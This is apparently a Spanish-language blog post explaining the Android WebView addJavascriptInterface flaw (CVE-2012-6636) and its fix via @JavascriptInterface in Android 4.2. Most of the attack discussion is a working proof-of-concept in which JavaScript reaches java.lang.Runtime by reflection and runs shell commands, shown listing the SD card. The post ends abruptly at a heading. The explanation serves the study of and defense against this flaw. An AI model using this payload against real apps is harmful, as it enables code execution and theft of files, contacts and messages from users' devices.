
Android 3.0 hasta 4.1.x en dispositivos Disney Mobile, eAccess, KDDI, NTT DOCOMO, SoftBank y otros no implementa correctamente la clase WebView, lo que permite a atacantes remotos ejecutar métodos arbitrarios de objetos Java o causar una denegación de servicio (reinicio) a través de una página web manipulada, como se demuestra mediante el uso del método WebView.addJavascriptInterface, un problema relacionado con CVE-2012-6636.
Muchas veces usamos WebView para mostrar una página web; por ejemplo, muchas aplicaciones, para lograr el control del servidor, tienen la página de resultados como una página web, en lugar de una implementación local, lo que tiene muchas ventajas, como que los cambios de interfaz no requieren lanzar una nueva versión, solo modificar la línea en el servidor. Al mostrar la interfaz con una página web, normalmente hay interacción con el código Java, como cuando se hace clic en un botón de la página web, necesitamos conocer el evento de clic del botón, o tenemos que llamar a un método para que la página realice alguna acción. Para lograr estas interacciones, usualmente usamos JS, y WebView proporciona dicho método. El uso específico es el siguiente:
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");
Le pedimos a WebView que registre un objeto con el nombre "jsInterface", y luego se puede acceder al objeto jsInterface en JS, se pueden invocar algunos métodos del objeto, la llamada final al código Java, para así realizar la interacción entre JS y el código Java. Veamos juntos la descripción del método addJavascriptInterface en el sitio web de Android:
Este método se puede usar para permitir que JavaScript controle la aplicación anfitriona. Esta es una característica potente, pero también presenta un riesgo de seguridad para aplicaciones dirigidas al nivel de API JELLYBEAN o inferior, porque JavaScript podría usar reflexión para acceder a los campos públicos de un objeto inyectado. El uso de este método en un WebView que contenga contenido no confiable podría permitir que un atacante manipule la aplicación anfitriona de formas no intencionadas, ejecutando código Java con los permisos de la aplicación anfitriona. Tenga mucho cuidado al usar este método en un WebView que pueda contener contenido no confiable.
JavaScript interactúa con el objeto Java en un subproceso privado en segundo plano de este WebView. Por lo tanto, se requiere cuidado para mantener la seguridad del subproceso. Los campos del objeto Java no son accesibles.
En pocas palabras, el uso de addJavascriptInterface puede provocar inseguridad, porque JS puede contener código malicioso. Esta brecha es de la que queremos hablar hoy: cuando JS contiene código malicioso, puede hacer cualquier cosa.
A través de JavaScript, se puede acceder a cualquier cosa en la tarjeta SD del dispositivo, e incluso a información de contacto, SMS, etc. Es desagradable, de verdad.
WebView agrega un objeto JavaScript, y la aplicación actual tiene permisos de lectura y escritura en la tarjeta SD, o: android.permission.WRITE_EXTERNAL_STORAGE
A través del objeto window en JS, se puede encontrar el método 'getClass' del objeto, y luego mediante el mecanismo de reflexión, obtener el objeto Runtime, luego llamar al método estático para ejecutar algunos comandos, como el comando de acceso a archivos.
La cadena devuelta desde el flujo de entrada del comando de ejecución, se puede obtener la información del nombre del archivo. Luego hacer lo que quieras, gran riesgo. El código JS central es el siguiente:
function execute(cmdArgs)
{
for (var obj in window) {
if ("getClass" in window[obj]) {
alert(obj);
return window[obj].getClass().forName("java.lang.Runtime")
.getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
}
}
Para probar esta brecha, simplemente estoy cargando un código JS malicioso de la página web local, el código HTML es el siguiente:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<script>
var i=0;
function getContents(inputStream)
{
var contents = ""+i;
var b = inputStream.read();
var i = 1;
while(b != -1) {
var bString = String.fromCharCode(b);
contents += bString;
contents += "\n"
b = inputStream.read();
}
i=i+1;
return contents;
}
function execute(cmdArgs)
{
for (var obj in window) {
console.log(obj);
if ("getClass" in window[obj]) {
alert(obj);
return window[obj].getClass().forName("java.lang.Runtime").
getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
}
}
var p = execute(["ls","/mnt/sdcard/"]);
document.write(getContents(p.getInputStream()));
</script>
<script language="javascript">
function onButtonClick()
{
// Call the method of injected object from Android source.
var text = jsInterface.onButtonClick("Text passed in from the JS!!!");
alert(text);
}
function onImageClick()
{
//Call the method of injected object from Android source.
var src = document.getElementById("image").src;
var width = document.getElementById("image").width;
var height = document.getElementById("image").height;
// Call the method of injected object from Android source.
jsInterface.onImageClick(src, width, height);
}
</script>
</head>
<body>
<p>Click on the image to the URL to Java code</p>
</p>
<button type="button" onclick="onButtonClick()">Interaction with the Java code</button>
</body>
</html>
return window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
El código Java es el siguiente:
mWebView = (WebView) findViewById(R.id.webview);
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");
mWebView.loadUrl("file:///android_asset/html/test.html");
Es necesario agregar permisos:
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
Sistema Android 4.2 o superior En Android 4.2 o superior, Google modificó la declaración del método remoto de Java con @JavascriptInterface, como en el siguiente código:
class JsObject {
@JavascriptInterface
public String toString() { return "injectedObject"; }
}
webView.addJavascriptInterface(new JsObject(), "injectedObject");
webView.loadData("", "text/html", null);
webView.loadUrl("javascript:alert(injectedObject.toString())");
Sistema Android 4.2 inferior